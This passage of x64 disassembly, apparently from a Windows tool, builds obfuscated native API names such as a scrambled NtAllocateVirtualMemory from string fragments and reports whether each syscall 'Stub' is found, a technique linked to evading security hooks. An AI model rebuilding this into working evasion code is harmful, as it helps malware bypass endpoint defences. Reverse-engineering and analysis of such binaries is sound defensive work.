lea rdx, [rbp + 0xb50]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1400f5586]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1400f5588]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0xa90]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xc9f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0xca0]
mov rcx, qword [rbp + 0x32b0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x1400051ad
lea rsi, [0x1400f555c]
jmp 0x1400051b4
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0xe8f]
mov qword [rbp + 0x31c0], rax
nop
nop
lea rdx, [rbp + 0xe8f]
lea rax, [rbp + 0xe60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x1400f558a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x1400f5580]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xd40]
lea rdx, [rbp + 0xd60]
lea r8, [0x1400f5582]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xd20]
lea rdx, [rbp + 0xd40]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0xcc0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xd40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xd60]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xd80]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xdc0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xe8f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0xe90]
mov rcx, qword [rbp + 0x32a8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x1400054f2
lea rsi, [0x1400f555c]
jmp 0x1400054f9
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x115f]
mov qword [rbp + 0x31b8], rax
nop
nop
lea rdx, [rbp + 0x115f]
lea rax, [rbp + 0x1130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x10b0]
lea rdx, [rbp + 0x10d0]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1090]
lea rdx, [rbp + 0x10b0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1070]
lea rdx, [rbp + 0x1090]
lea r8, [0x1400f558e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1050]
lea rdx, [rbp + 0x1070]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1030]
lea rdx, [rbp + 0x1050]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1010]
lea rdx, [rbp + 0x1030]
lea r8, [0x1400f5590]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xff0]
lea rdx, [rbp + 0x1010]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, [0x1400f5594]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1400f5596]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1400f5598]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x1400f559a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0xeb0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1010]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1030]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1050]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1070]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1090]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x115f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1160]
mov rcx, qword [rbp + 0x32a0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x14000596b
lea rsi, [0x1400f555c]
jmp 0x140005972
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x14af]
mov qword [rbp + 0x31b0], rax
nop
nop
lea rdx, [rbp + 0x14af]
lea rax, [rbp + 0x1480]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x1400f559c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1400]
lea rdx, [rbp + 0x1420]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x13e0]
lea rdx, [rbp + 0x1400]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x13c0]
lea rdx, [rbp + 0x13e0]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x13a0]
lea rdx, [rbp + 0x13c0]
lea r8, [0x1400f559e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1380]
lea rdx, [rbp + 0x13a0]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1360]
lea rdx, [rbp + 0x1380]
lea r8, [0x1400f55a0]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1340]
lea rdx, [rbp + 0x1360]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1400f557c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1180]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1360]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1380]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x13a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x13c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x13e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x14af]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x14b0]
mov rcx, qword [rbp + 0x3298]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x140005e94
lea rsi, [0x1400f555c]
jmp 0x140005e9b
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x173f]
mov qword [rbp + 0x31a8], rax
nop
nop
lea rdx, [rbp + 0x173f]
lea rax, [rbp + 0x1710]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x1400f558a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1690]
lea rdx, [rbp + 0x16b0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1670]
lea rdx, [rbp + 0x1690]
lea r8, [0x1400f5584]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1650]
lea rdx, [rbp + 0x1670]
lea r8, [0x1400f554e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1630]
lea rdx, [rbp + 0x1650]
lea r8, [0x1400f5550]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1610]
lea rdx, [rbp + 0x1630]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x15f0]
lea rdx, [rbp + 0x1610]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x15d0]
lea rdx, [rbp + 0x15f0]
lea r8, [0x1400f5554]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x1400f554a]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1400f5556]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1400f5558]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1400f555a]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x14d0]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x15f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1610]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1630]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1650]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1670]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x173f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1740]
mov rcx, qword [rbp + 0x3290]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1740]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x1400062b5
lea rsi, [0x1400f555c]
jmp 0x1400062bc
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x184f]
mov qword [rbp + 0x31a0], rax
nop
nop
lea rdx, [rbp + 0x184f]
lea rax, [rbp + 0x1820]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x1400f557e]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x1400f5544]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x17a0]
lea rdx, [rbp + 0x17c0]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1780]
lea rdx, [rbp + 0x17a0]
lea r8, [0x1400f558c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1760]
lea rdx, [rbp + 0x1780]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rdx, [rbp + 0x1760]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab920
lea rax, [rbp + 0x1760]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1780]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.1400ab8e0
lea rax, [rbp + 0x184f]
mov rcx, rax
call fcn.14009c290
nop
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400aac20
mov r9, qword [rbp + 0x3208]
mov r8, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3200]
lea rax, [rbp + 0x1850]
mov rcx, qword [rbp + 0x3288]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x32e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x31fc], eax
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400ab8e0
cmp dword [rbp + 0x31fc], 0
je 0x1400064c6
lea rsi, [0x1400f555c]
jmp 0x1400064cd
lea rsi, [0x1400f5561]
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400310e0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020770
lea rax, [rbp + 0x1a1f]
mov qword [rbp + 0x3198], rax
nop
nop
lea rdx, [rbp + 0x1a1f]
lea rax, [rbp + 0x19f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab0c0
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x1400f5540]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x1400f5596]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x1400f55a2]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1950]
lea rdx, [rbp + 0x1970]
lea r8, [0x1400f5592]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
lea r8, [0x1400f557c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1910]
lea rdx, [rbp + 0x1930]
lea r8, [0x1400f5552]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x18f0]
lea rdx, [rbp + 0x1910]
lea r8, [0x1400f5546]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x18d0]
lea rdx, [rbp + 0x18f0]
lea r8, [0x1400f5548]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x18b0]
lea rdx, [rbp + 0x18d0]
lea r8, [0x1400f554c]
mov rcx, rax
call fcn.1400bba00
lea rax, [rbp + 0x1890]
lea rdx, [rbp + 0x18b0]
lea r8, [0x1400f558c]
mov rcx, rax
